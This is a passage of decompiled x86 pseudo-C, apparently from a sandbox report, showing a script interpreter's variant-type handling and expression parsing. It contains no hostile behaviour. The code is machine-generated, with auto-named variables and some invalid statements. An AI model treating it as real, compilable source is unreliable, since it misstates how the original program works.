							 *(_t563 + 0xc) = 0;
						}
						_t411 =  *(_t563 + 8);
						__eflags = _t411 - 8;
						if(_t411 == 8) {
							_t525 =  *_t563;
							__eflags = _t525;
							if(_t525 == 0) {
								goto L25;
							}
							__imp__#9(_t525);
							_push( *_t563);
							E00EF10FC();
							_t575 = _t575 + 4;
							goto L29;
						} else {
							L25:
							__eflags = _t411 - 0xa;
							if(_t411 == 0xa) {
								_t412 =  *_t563;
								__eflags = _t412;
								if(_t412 != 0) {
									E00F230B0(_t412);
								}
							} else {
								__eflags = _t411 - 5;
								if(_t411 == 5) {
									E00EEE470(_t563, _t563);
								} else {
									__eflags = _t411 - 0xb;
									if(_t411 == 0xb) {
										_push( *((intOrPtr*)( *_t563 + 4)));
										E00EF10FC();
										_push( *_t563);
										E00EF10FC();
										_t575 = _t575 + 8;
									} else {
										__eflags = _t411 - 0xc;
										if(_t411 == 0xc) {
											_t422 =  *_t563;
											__eflags = _t422;
											if(_t422 != 0) {
												E00F2B350(_t422);
											}
										}
									}
								}
							}
							L29:
							 *(_t563 + 8) = 1;
							 *_t563 = 0;
							_t546 =  *0xf895f8; // 0x1
							 *(_t563 + 8) = _t546;
							_t413 =  *0xf895f8; // 0x1
							__eflags = _t413 - 1;
							if(_t413 != 1) {
								_t414 = _t413 - 1;
								__eflags = _t414 - 0xb;
								if(__eflags > 0) {
									goto L31;
								}
								switch( *((intOrPtr*)(_t414 * 4 +  &M00F0BC64))) {
									case 0:
										goto L30;
									case 1:
										 *_t563 =  *0xf895f0;
										 *((intOrPtr*)(_t563 + 4)) =  *0xf895f4;
										goto L31;
									case 2:
										__fp0 =  *0xf895f0;
										 *__esi = __fp0;
										goto L31;
									case 3:
										_push(0x10);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											 *(__esi + 0xc) = 0;
										} else {
											__ecx =  *0xf895fc;
											__edx =  *__ecx;
											 *__eax =  *__ecx;
											__edx =  *(__ecx + 4);
											 *(__eax + 4) =  *(__ecx + 4);
											__edx =  *(__ecx + 8);
											 *(__eax + 8) = __edx;
											__ecx =  *(__ecx + 0xc);
											 *(__eax + 0xc) = __ecx;
											 *__ecx = 1 +  *__ecx;
											 *(__esi + 0xc) = __eax;
										}
										goto L31;
									case 4:
										_push(0x214);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__esi =  *0xf895f0;
											__ebx = _v124;
											__ecx = 0x85;
											__edi = __eax;
											__eax = memcpy(__eax, __esi, 0x85 << 2);
											__esi + __ecx = __esi + __ecx + __ecx;
											__ecx = 0;
											__esi = _v128;
											__edi = _a8;
										}
										 *__esi = __eax;
										__eflags =  *(__eax + 4);
										if( *(__eax + 4) != 0) {
											__eax =  *(__eax + 4);
											 *__eax = 1 +  *__eax;
										}
										goto L31;
									case 5:
										__eax =  *0xf895f0;
										 *__esi = __eax;
										goto L31;
									case 6:
										__ecx =  *0xf895f0;
										 *__esi =  *0xf895f0;
										goto L31;
									case 7:
										__eflags =  *0xf895f0;
										if(__eflags != 0) {
											_push(0x10);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__esp = __esp + 4;
											_push(__eax);
											 *__esi = __eax;
											__imp__#8();
											__edx =  *0xf895f0;
											__eax =  *__esi;
											_push(__edx);
											_push(__eax);
											__imp__#10();
											__eflags = __eax;
											if(__eax < 0) {
												__ecx =  *__esi;
												_push( *__esi);
												__imp__#9();
												__edx =  *__esi;
												_push(__edx);
												__eax = E00EF10FC();
												__esp = __esp + 4;
												 *__esi = 0;
											}
										}
										goto L31;
									case 8:
										__al =  *0xf895f0;
										 *__esi = __al;
										goto L31;
									case 9:
										_push(0x18);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											goto L255;
										}
										__ecx =  *0xf895f0;
										__eax = E00F2B82F(__eax,  *0xf895f0);
										 *__esi = __eax;
										goto L31;
									case 0xa:
										_push(8);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										 *__esi = __eax;
										__edx =  *0xf895f0;
										__ecx =  *( *0xf895f0);
										 *__eax =  *( *0xf895f0);
										__edx =  *__esi;
										__eax =  *( *__esi);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eflags == 0) {
											_push(1);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__esi;
											 *( *__esi + 4) = __eax;
											__edx =  *__esi;
											__eax =  *(__edx + 4);
											__esp = __esp + 4;
											 *__eax = 0;
										} else {
											_push(__eax);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__esi;
											 *( *__esi + 4) = __eax;
											__eax =  *__esi;
											__edx =  *__eax;
											__ecx =  *0xf895f0;
											__eax =  *(__eax + 4);
											__esp = __esp + 4;
											__edx =  *( *0xf895f0 + 4);
											__eax = E00EF0D80(__eax,  *( *0xf895f0 + 4),  *( *0xf895f0 + 4));
										}
										goto L31;
									case 0xb:
										_push(0x14);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											L255:
											__eax = 0;
											 *__esi = 0;
											goto L31;
										}
										__ecx =  *0xf895f0;
										__eax = E00F5082A(__eax,  *0xf895f0);
										 *__esi = __eax;
										goto L31;
								}
							}
							L30:
							_t547 =  *0xf895f0; // 0x0
							 *_t563 = _t547;
							goto L31;
						}
					}
					if(_t491 < 0x37 || _t491 >= 0x41) {
						__eflags = _t491 - 5;
						if(_t491 != 5) {
							__eflags = _t491 - 0x51;
							if(_t491 > 0x51) {
								goto L9;
							}
							_t88 = _t491 + 0xeeb19c; // 0xec
							switch( *((intOrPtr*)(( *_t88 & 0x000000ff) * 4 +  &M00EEB13C))) {
								case 0:
									__eax =  *__eax;
									__eflags = __eax - 4;
									if(__eax < 4) {
										L129:
										__eflags = __eax - 1;
										if(__eax != 1) {
											__eax = __eax - 2;
											__eflags = __eax - 0x27;
											if(__eflags > 0) {
												goto L9;
											}
											__eax =  *(__eax + 0xf0bc0c) & 0x000000ff;
											switch( *((intOrPtr*)(__eax * 4 +  &M00F0BBF4))) {
												case 0:
													__ecx = 1 + __ecx;
													__ebx = 8;
													 *__edi = __ecx;
													goto L10;
												case 1:
													__ecx = 1 + __ecx;
													__ebx = 0xa;
													 *__edi = __ecx;
													goto L10;
												case 2:
													__edi = 0xf895f0;
													__esi =  &_v128;
													_v108 = 0x16;
													__eax = E00EEBE60(0xf895f0,  &_v128);
													_v72 = 1;
													__edx = _v72;
													_push(__edx);
													goto L170;
												case 3:
													__edi = 0xf895f0;
													__esi =  &_v128;
													_v108 = 0x16;
													__eax = E00EEBE60(0xf895f0,  &_v128);
													_v80 = 0;
													__ecx = _v80;
													_push(__ecx);
													L170:
													__eax =  &_v128;
													_push(E00EED340( &_v128));
													__eax = E00F3303E();
													__edi = _a8;
													 *__edi = 1 +  *__edi;
													__esi = _v136;
													goto L4;
												case 4:
													__esp = __esp - 0x10;
													__edi = L"Default";
													__esi = __esp;
													_v108 = 0x16;
													E00EE1D10(L"Default", __esp, __eflags) =  &_v28;
													_push( &_v28);
													__eax = E00F2B860();
													__edi = 0xf895f0;
													__esi =  &_v148;
													__eax = E00EEBE60(0xf895f0, __esi);
													__ecx =  &_v48;
													__esi = E00EED340(__esi);
													__eax = _a8;
													 *_a8 = 1 +  *_a8;
													__ecx =  &_v48;
													__eax = E00EE2480(__ecx);
													__esi = _v156;
													__edi = _a8;
													goto L4;
												case 5:
													goto L9;
											}
										}
										__ecx = 1 + __ecx;
										__ebx = __eax + 6;
										 *__edi = __ecx;
										goto L10;
									}
									__eflags = __eax - 0x27;
									if(__eax < 0x27) {
										goto L9;
									}
									goto L129;
								case 1:
									__edi = 0xf895f0;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E00EEBE60(0xf895f0,  &_v128);
									__eflags = _v124 - 1;
									if(_v124 != 1) {
										__eflags = _v115;
										if(_v115 == 0) {
											__eax = _v120;
										} else {
											__ecx = _v120;
											__eax =  *(_v120 + 0x10);
										}
									} else {
										__eax = _v128;
									}
									__edx = _a4;
									__ebx = _v112;
									__eax = _a8;
									__eax = E00EE8F10(_a8, __ebx, __edx, _a8); // executed
									__eflags = __eax;
									if(__eax != 0) {
										goto L285;
									} else {
										__eflags =  *((intOrPtr*)(__ebx + 0xf8)) - 1;
										if( *((intOrPtr*)(__ebx + 0xf8)) == 1) {
											goto L285;
										}
										__esi = _v128;
										__edi = _a8;
										goto L4;
									}
								case 2:
									__edi = 0xf895f0;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E00EEBE60(0xf895f0, __esi);
									__edi = _a8;
									__edx = _a4;
									__ecx =  *__edi;
									__eax =  *((intOrPtr*)(_a4 + 4));
									__eax =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
									__ecx =  *(__eax + 4);
									__ebx =  *__eax;
									__eax = __esi;
									_v32 = __ecx;
									__esi = E00EED340(__esi);
									__eax = E00EE9190(__edi, __esi);
									__edx = _v32;
									 *(__esi + 8) = 2;
									 *__esi = __ebx;
									 *(__esi + 4) = __edx;
									 *__edi = 1 +  *__edi;
									__esi = _v128;
									goto L4;
								case 3:
									__edi = 0xf895f0;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E00EEBE60(0xf895f0, __esi);
									__edi = _a8;
									__ecx = _a4;
									__eax =  *__edi;
									__edx =  *((intOrPtr*)(_a4 + 4));
									__eax =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
									__fp0 =  *( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4));
									__eax = __esi;
									_v136 =  *( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4));
									__esi = E00EED340(__esi);
									__eax = E00EE9190(__edi, __esi);
									__fp0 = _v136;
									 *__esi = __fp0;
									 *(__esi + 8) = 3;
									 *__edi = 1 +  *__edi;
									__esi = _v128;
									goto L4;
								case 4:
									__edi = 0xf895f0;
									__esi =  &_v128;
									__eax = E00EEBE60(0xf895f0,  &_v128);
									__esi = _a8;
									__eax =  *__esi;
									__edi = _a4;
									__ecx = __eax + 1;
									 *__esi = __eax + 1;
									__edx =  *(__edi + 4);
									__eax =  *( *(__edi + 4) + __eax * 4);
									__eax =  *__eax;
									__edx =  *__eax;
									__esp = __esp - 0x10;
									 *__esp =  *__eax;
									__edx =  *(__eax + 4);
									_v160 =  *(__eax + 4);
									__edx =  *(__eax + 8);
									_v156 =  *(__eax + 8);
									__eax =  *(__eax + 0xc);
									_v152 = __eax;
									 *__eax = 1 +  *__eax;
									__eax =  &_v128;
									__eax = E00EED340( &_v128);
									__ebx = _v112;
									_push(__eax);
									_push(__ebx);
									__eax = E00F52095(__eflags, __fp0);
									__eflags = __eax;
									if(__eax != 0) {
										__eax =  *__esi;
										__ecx =  *(__edi + 4);
										__edx =  *( *(__edi + 4) +  *__esi * 4 - 4);
										 *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)) = E00F3E724(__fp0, __ebx, 0x86,  *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)));
										L285:
										__ecx =  &_v128;
										_push( &_v128);
										goto L296;
									}
									__esi = _v128;
									__edi = _a8;
									_v108 = 0x16;
									goto L4;
								case 5:
									__edi = 0xf895f0;
									__esi =  &_v128;
									_v108 = 0x16;
									__eax = E00EEBE60(0xf895f0,  &_v128);
									__eflags = _v124 - 1;
									if(__eflags != 0) {
										__eflags = _v115;
										if(__eflags != 0) {
											__ecx = _v120;
											__eax =  *(_v120 + 0x10);
										} else {
											__eax = _v120;
										}
									} else {
										__eax = _v128;
									}
									__edx = _a4;
									__eax = _v112;
									__eax = _a8;
									__eax = E00EEC440(_a8, __eflags, __fp0, _v112, _a4, _a8);
									__eflags = __eax;
									if(__eax != 0) {
										__eax =  &_v128;
										_push( &_v128);
										goto L296;
									} else {
										__esi = _v128;
										__edi = _a8;
										goto L4;
									}
								case 6:
									__edi = 0xf895f0;
									__esi =  &_v128;
									__eax = E00EEBE60(0xf895f0, __esi);
									__edx =  &_v85;
									__esi = E00EED340(__esi);
									__esi = _v112;
									__eax = _a4;
									__eax = _a8;
									__eax = E00EE98F0(_a8, __eflags, __fp0, __esi, _a4, _a8,  &_v85);
									__eflags = __eax;
									if(__eax != 0) {
										goto L295;
									}
									__eflags =  *((intOrPtr*)(__esi + 0xf8)) - 1;
									if( *((intOrPtr*)(__esi + 0xf8)) == 1) {
										goto L295;
									}
									__esi = _v128;
									__edi = _a8;
									_v108 = 0x16;
									goto L4;
								case 7:
									__eflags = __ecx;
									if(__ecx == 0) {
										L177:
										__esi = _v112;
										__edx = __esi + 0x488;
										__eax = E00F123E7(__edx);
										__eflags = __al;
										if(__al == 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E00F3E724(__fp0, __esi, 0xa7,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__ecx =  &_v140;
											_push( &_v140);
											goto L296;
										}
										__eax = 0;
										__esp = __esp - 0x10;
										_v68 = 0;
										_v56 = 0;
										__eax = __edx;
										__ebx = __esp;
										_v60 = 1;
										__eax = E00EEBBB0(__edx, __ebx, __ecx, __edi);
										__ecx = _a4;
										__eax =  &_v68;
										_push( &_v68);
										_push(__edi);
										_push(_a4);
										__ecx = __esi;
										__eax = E00F5E20C(__esi, __eflags, __fp0);
										__eflags = __eax;
										if(__eax != 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E00F3E724(__fp0, __esi, 0x6e,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__esi =  &_v92;
											goto L294;
										}
										__edi =  &_v80;
										__esi =  &_v140;
										_v120 = 0x16;
										__eax = E00EEBE60(__edi,  &_v140);
										__esi = __edi;
										__eax = E00EE9190(__edi, __edi);
										__esi = _v140;
										__edi = _a8;
										goto L4;
									}
									__eax =  *(__edx + 8) & 0x0000ffff;
									__eflags = __ax - 0x33;
									if(__ax == 0x33) {
										L175:
										__ebx = _v112;
										__eax = E00F31AB8(__ebx, 0xa9, 0, L"Variable must be of type \'Object\'.", 1);
										__eflags = __eax;
										if(__eax != 0) {
											__eax = _a4;
											__ecx =  *((intOrPtr*)(_a4 + 4));
											 *__edi =  *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4);
											 *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)) = E00F3E724(__fp0, __ebx, 0xa9,  *((short*)( *( *((intOrPtr*)(_a4 + 4)) +  *__edi * 4) + 0xa)));
											__ecx =  &_v140;
											_push( &_v140);
											goto L296;
										}
										 *__edi = 1 +  *__edi;
										goto L4;
									}
									__eflags = __ax - 0x35;
									if(__ax != 0x35) {
										goto L177;
									}
									goto L175;
								case 8:
									__ecx = 1 + __ecx;
									__ebx = 5;
									 *__edi = __ecx;
									goto L10;
								case 9:
									__ecx = 1 + __ecx;
									__ebx = 1;
									 *__edi = __ecx;
									goto L10;
								case 0xa:
									__ebx = 0;
									__ecx = 1 + __ecx;
									 *__edi = __ecx;
									goto L10;
								case 0xb:
									__ecx = 1 + __ecx;
									__ebx = 4;
									 *__edi = __ecx;
									goto L10;
								case 0xc:
									__ecx = 1 + __ecx;
									__ebx = 3;
									 *__edi = __ecx;
									goto L10;
								case 0xd:
									__ecx = 1 + __ecx;
									__ebx = 2;
									 *__edi = __ecx;
									goto L10;
								case 0xe:
									__ecx = 1 + __ecx;
									__ebx = 0x12;
									 *__edi = __ecx;
									goto L10;
								case 0xf:
									__ecx = 1 + __ecx;
									__ebx = 0x13;
									 *__edi = __ecx;
									goto L10;
								case 0x10:
									__eax = _v108;
									__eflags = __eax - 0x16;
									if(__eax != 0x16) {
										__eflags = __eax - 0x13;
										if(__eax == 0x13) {
											goto L89;
										}
										__ebx = 0x11;
										L90:
										__ecx = 1 + __ecx;
										 *__edi = __ecx;
										goto L10;
									}
									L89:
									__ebx = 0xb;
									goto L90;
								case 0x11:
									__eax = _v108;
									__eflags = __eax - 0x16;
									if(__eax == 0x16) {
										L155:
										__ebx = 0xc;
										L156:
										__ecx = 1 + __ecx;
										 *__edi = __ecx;
										goto L10;
									}
									__ebx = 0x10;
									__eflags = __eax - 0x13;
									if(__eax != 0x13) {
										goto L156;
									}
									goto L155;
								case 0x12:
									__ecx = 1 + __ecx;
									__ebx = 0xe;
									 *__edi = __ecx;
									goto L10;
								case 0x13:
									_t490 = 0xd;
									 *_t559 = 1 + _t508;
									goto L10;
								case 0x14:
									__ecx = 1 + __ecx;
									__ebx = 9;
									 *__edi = __ecx;
									goto L10;
								case 0x15:
									__ecx = 1 + __ecx;
									__ebx = 6;
									 *__edi = __ecx;
									goto L10;
								case 0x16:
									__ecx = 1 + __ecx;
									__ebx = 0xf;
									 *__edi = __ecx;
									L10:
									_v136 = _t490;
									_v108 = _t490;
									do {
										_t509 = _v95;
										_t564 = _v100;
										if(_t509 != 0) {
											_t375 = _t564[1];
										} else {
											_t375 = _t564;
										}
										_t378 =  *( *_t375 * 0x15 + _t490 + 0xf718f0) & 0x000000ff;
										if(_t378 != 3) {
											__eflags = _t378 - 6;
											if(_t378 > 6) {
												L71:
												__eflags = _t490 - 7;
												if(_t490 == 7) {
													L134:
													__eflags = _v124;
													if(_v124 == 0) {
														L73:
														_t563 = _v128;
														while(1) {
															L4:
															_t508 =  *_t559;
															if(_t508 == _a16) {
																goto L9;
															}
															goto L5;
														}
														goto L9;
													}
													E00EEBBB0(E00EED340( &_v128),  &_v52, _t509, _t559);
													_t465 = E00EED0C0( &_v52);
													__eflags = _t465;
													if(_t465 == 0) {
														L276:
														__eflags = _v136 - 7;
														if(_v136 != 7) {
															L138:
															E00EE9190(_t559,  &_v52);
															_t563 = _v128;
															goto L4;
														}
														_t566 = 8;
														L278:
														_t468 = E00F21D5C(_a4, _t559);
														__eflags = _t468;
														if(_t468 != 0) {
															E00F3E724(_t594, _v112, 0x6e, _v92);
															_t567 =  &_v64;
															L294:
															E00EE9190(_t559, _t567);
															L295:
															_push( &_v128);
															L296:
															E00F2B8B9();
															E00EF01D0( &_v108);
															_t475 = 1;
															L20:
															return _t475;
														}
														_t476 =  &_v128;
														__eflags = _v136 - _t566;
														if(_v136 != _t566) {
															_v76 = 0;
															_push(_v76);
														} else {
															_v84 = 1;
															_push(_v84);
														}
														_push(E00EED340(_t476));
														E00F3303E();
														E00EEC0C0( &_v112);
														goto L138;
													}
													_t566 = 8;
													__eflags = _v136 - 8;
													if(_v136 == 8) {
														goto L278;
													}
													__eflags = _t465;
													if(_t465 == 0) {
														goto L276;
													}
													goto L138;
												}
												__eflags = _t490 - 8;
												if(_t490 == 8) {
													goto L134;
												}
												goto L73;
											}
											switch( *((intOrPtr*)(_t378 * 4 +  &M00EEB120))) {
												case 0:
													__eflags = _t509;
													if(__eflags != 0) {
														 *_t564 = _t490;
														_v95 = 0;
													} else {
														_push(8);
														_t480 = E00EF14F7(_t559, _t564, __eflags);
														_t575 = _t575 + 4;
														__eflags = _t480;
														if(_t480 == 0) {
															_t480 = 0;
														} else {
															 *_t480 = _t490;
														}
														 *(_t480 + 4) = _t564;
														_v100 = _t480;
													}
													_t85 =  &_v104;
													 *_t85 = _v104 + 1;
													__eflags =  *_t85;
													goto L71;
												case 1:
													goto L84;
												case 2:
													while(1) {
														__edx = _v100;
														__eflags = __cl;
														if(__cl == 0) {
															__eax = __edx;
														} else {
															__eax =  *(__edx + 4);
														}
														__eflags =  *__eax - 0x12;
														if( *__eax == 0x12) {
															break;
														}
														__eflags = __cl;
														if(__cl == 0) {
															__eax = __edx;
														} else {
															__eax =  *(__edx + 4);
														}
														__eflags =  *__eax - 0x14;
														if( *__eax == 0x14) {
															goto L290;
														} else {
															__edx =  &_v128;
															__eax =  &_v104;
															__eax = E00EEB840( &_v104, __fp0,  &_v128);
															__eflags = __eax;
															if(__eax != 0) {
																goto L289;
															} else {
																__cl = _v95;
																continue;
															}
														}
													}
													__esi =  &_v104;
													__eax = E00EEC0C0(__esi);
													goto L71;
												case 3:
													goto L71;
												case 4:
													__eax = _v92;
													__ecx = _v112;
													__eax = E00F3E724(__fp0, _v112, 0x6b, _v92);
													goto L295;
												case 5:
													__eax = _v92;
													__ecx = _v112;
													__eax = E00F3E724(__fp0, _v112, 0x6c, _v92);
													goto L295;
												case 6:
													L290:
													__eax = _v92;
													__ecx = _v112;
													__eax = E00F3E724(__fp0, _v112, 0x6d, _v92);
													goto L295;
											}
										}
										if(_v124 != 1) {
											break;
										}
										_t483 = _v120;
										if(_t483 != 0) {
											_t570 = _t483;
											do {
												_t561 =  *(_t570 + 0x10);
												E00EE9190(_t561, _t570);
												_push(_t570);
												E00EF10FC();
												_t575 = _t575 + 4;
												_t570 = _t561;
												__eflags = _t561;
											} while (_t561 != 0);
										}
										_t486 = _v100;
										if(_t486 == 0) {
											L19:
											_t475 = 0;
											goto L20;
										} else {
											do {
												_t571 =  *(_t486 + 4);
												_push(_t486);
												E00EF10FC();
												_t575 = _t575 + 4;
												_t486 = _t571;
											} while (_t571 != 0);
											goto L19;
										}
										L84:
										__ecx =  &_v128;
										__eax =  &_v104;
										__eax = E00EEB840( &_v104, __fp0,  &_v128); // executed
										__eflags = __eax;
									} while (__eax == 0);
									L289:
									E00F3E724(_t594, _v112, 0x6e, _v92);
									goto L295;
								case 0x17:
									goto L9;
							}
						}
						_t499 = _v124;
						_v108 = 0x16;
						__eflags = _t499;
						if(_t499 != 0) {
							__eflags = _v115;
							if(__eflags != 0) {
								E00EE90D0(_v120, _t508, 0xf895f0);
								_t499 = _v128;
								_v119 = 0;
							} else {
								_push(0x18);
								_t442 = E00EF14F7(_t559, _t563, __eflags);
								_t575 = _t575 + 4;
								__eflags = _t442;
								if(_t442 == 0) {
									_t443 = 0;
								} else {
									_v136 = _t442;
									_t503 = _v136;
									E00EEBBB0(0xf895f0, _t503, _t508, _t559);
									_t443 = _t503;
									_t499 = _v124;
								}
								 *((intOrPtr*)(_t443 + 0x10)) = _v120;
								_v120 = _t443;
							}
							L55:
							_t427 =  *( *(_a4 + 4) +  *_t559 * 4);
							_t501 = _t499 + 1;
							_v124 = _t501;
							__eflags = _t501 - 1;
							if(_t501 != 1) {
								__eflags = _v115;
								if(_v115 != 0) {
									_t502 =  *(_v120 + 0x10);
								} else {
									_t502 = _v120;
								}
							} else {
								_t502 = _t563;
							}
							_t531 =  *_t427;
							_t428 = _t502[3];
							_v136 = _t531;
							__eflags = _t428;
							if(_t428 != 0) {
								E00F2651E(_t428);
								_t531 = _v140;
								_t502[3] = 0;
							}
							_t430 = _t502[2];
							__eflags = _t430 - 8;
							if(_t430 == 8) {
								_t551 =  *_t502;
								__eflags = _t551;
								if(_t551 == 0) {
									goto L59;
								}
								__imp__#9(_t551);
								_push( *_t502);
								E00EF10FC();
								_t531 = _v140;
								_t575 = _t575 + 4;
								goto L63;
							} else {
								L59:
								__eflags = _t430 - 0xa;
								if(_t430 == 0xa) {
									_t431 =  *_t502;
									__eflags = _t431;
									if(_t431 != 0) {
										E00F230B0(_t431);
										_t531 = _v140;
									}
								} else {
									__eflags = _t430 - 5;
									if(_t430 == 5) {
										E00EEE470(_t502, _t563);
										_t531 = _v136;
									} else {
										__eflags = _t430 - 0xb;
										if(_t430 == 0xb) {
											_push( *((intOrPtr*)( *_t502 + 4)));
											E00EF10FC();
											_push( *_t502);
											E00EF10FC();
											_t531 = _v136;
											_t575 = _t575 + 8;
										} else {
											__eflags = _t430 - 0xc;
											if(_t430 == 0xc) {
												_t438 =  *_t502;
												__eflags = _t438;
												if(_t438 != 0) {
													E00F2B350(_t438);
													_t531 = _v140;
												}
											}
										}
									}
								}
								L63:
								_t502[2] = 1;
								 *_t502 = _t531;
								 *_t559 = 1 +  *_t559;
								continue;
							}
						}
						__eflags = _t563 - 0xf895f0;
						if(_t563 == 0xf895f0) {
							goto L55;
						}
						_t446 =  *(_t563 + 0xc);
						__eflags = _t446;
						if(_t446 != 0) {
							E00F2651E(_t446);
							 *(_t563 + 0xc) = 0;
						}
						_t448 =  *(_t563 + 8);
						__eflags = _t448 - 8;
						if(_t448 == 8) {
							_t534 =  *_t563;
							__eflags = _t534;
							if(_t534 == 0) {
								goto L49;
							}
							__imp__#9(_t534);
							_push( *_t563);
							E00EF10FC();
							_t575 = _t575 + 4;
							goto L53;
						} else {
							L49:
							__eflags = _t448 - 0xa;
							if(_t448 == 0xa) {
								_t449 =  *_t563;
								__eflags = _t449;
								if(_t449 != 0) {
									E00F230B0(_t449);
								}
							} else {
								__eflags = _t448 - 5;
								if(_t448 == 5) {
									E00EEE470(_t563, _t563);
								} else {
									__eflags = _t448 - 0xb;
									if(_t448 == 0xb) {
										_push( *((intOrPtr*)( *_t563 + 4)));
										E00EF10FC();
										_push( *_t563);
										E00EF10FC();
										_t575 = _t575 + 8;
									} else {
										__eflags = _t448 - 0xc;
										if(_t448 == 0xc) {
											_t459 =  *_t563;
											__eflags = _t459;
											if(_t459 != 0) {
												E00F2B350(_t459);
											}
										}
									}
								}
							}
							L53:
							 *(_t563 + 8) = 1;
							 *_t563 = 0;
							_t450 =  *0xf895f8; // 0x1
							 *(_t563 + 8) = _t450;
							_t451 =  *0xf895f8; // 0x1
							__eflags = _t451 - 1;
							if(_t451 != 1) {
								_t452 = _t451 - 1;
								__eflags = _t452 - 0xb;
								if(__eflags > 0) {
									goto L55;
								}
								switch( *((intOrPtr*)(_t452 * 4 +  &M00F0BC34))) {
									case 0:
										goto L54;
									case 1:
										 *_t563 =  *0xf895f0;
										_t553 =  *0xf895f4; // 0x0
										 *((intOrPtr*)(_t563 + 4)) = _t553;
										goto L55;
									case 2:
										__fp0 =  *0xf895f0;
										 *__esi = __fp0;
										goto L55;
									case 3:
										_push(0x10);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											 *(__esi + 0xc) = 0;
										} else {
											__ecx =  *0xf895fc; // 0x0
											__edx =  *__ecx;
											 *__eax =  *__ecx;
											__edx =  *(__ecx + 4);
											 *(__eax + 4) =  *(__ecx + 4);
											__edx =  *(__ecx + 8);
											 *(__eax + 8) = __edx;
											__ecx =  *(__ecx + 0xc);
											 *(__eax + 0xc) = __ecx;
											 *__ecx = 1 +  *__ecx;
											 *(__esi + 0xc) = __eax;
										}
										goto L55;
									case 4:
										_push(0x214);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__esi =  *0xf895f0; // 0x0
											__ebx = _v124;
											__ecx = 0x85;
											__edi = __eax;
											__eax = memcpy(__eax, __esi, 0x85 << 2);
											__esi + __ecx = __esi + __ecx + __ecx;
											__ecx = 0;
											__esi = _v128;
											__edi = _a8;
										}
										 *__esi = __eax;
										__eflags =  *(__eax + 4);
										if( *(__eax + 4) != 0) {
											__eax =  *(__eax + 4);
											 *__eax = 1 +  *__eax;
										}
										goto L55;
									case 5:
										__eax =  *0xf895f0;
										 *__esi = __eax;
										goto L55;
									case 6:
										__ecx =  *0xf895f0;
										 *__esi = __ecx;
										goto L55;
									case 7:
										__eflags =  *0xf895f0;
										if(__eflags != 0) {
											_push(0x10);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__esp = __esp + 4;
											_push(__eax);
											 *__esi = __eax;
											__imp__#8();
											__edx =  *0xf895f0; // 0x0
											__eax =  *__esi;
											_push(__edx);
											_push(__eax);
											__imp__#10();
											__eflags = __eax;
											if(__eax < 0) {
												__ecx =  *__esi;
												_push( *__esi);
												__imp__#9();
												__edx =  *__esi;
												_push(__edx);
												__eax = E00EF10FC();
												__esp = __esp + 4;
												 *__esi = 0;
											}
										}
										goto L55;
									case 8:
										__al =  *0xf895f0;
										 *__esi = __al;
										goto L55;
									case 9:
										_push(0x18);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											goto L209;
										}
										__ecx =  *0xf895f0; // 0x0
										__eax = E00F2B82F(__eax, __ecx);
										 *__esi = __eax;
										goto L55;
									case 0xa:
										_push(8);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										 *__esi = __eax;
										__edx =  *0xf895f0; // 0x0
										__ecx =  *__edx;
										 *__eax =  *__edx;
										__edx =  *__esi;
										__eax =  *( *__esi);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eflags == 0) {
											_push(1);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__esi;
											 *(__ecx + 4) = __eax;
											__edx =  *__esi;
											__eax =  *(__edx + 4);
											__esp = __esp + 4;
											 *__eax = 0;
										} else {
											_push(__eax);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__esi;
											 *( *__esi + 4) = __eax;
											__eax =  *__esi;
											__edx =  *__eax;
											__ecx =  *0xf895f0; // 0x0
											__eax =  *(__eax + 4);
											__esp = __esp + 4;
											__edx =  *(__ecx + 4);
											__eax = E00EF0D80(__eax,  *(__ecx + 4),  *(__ecx + 4));
										}
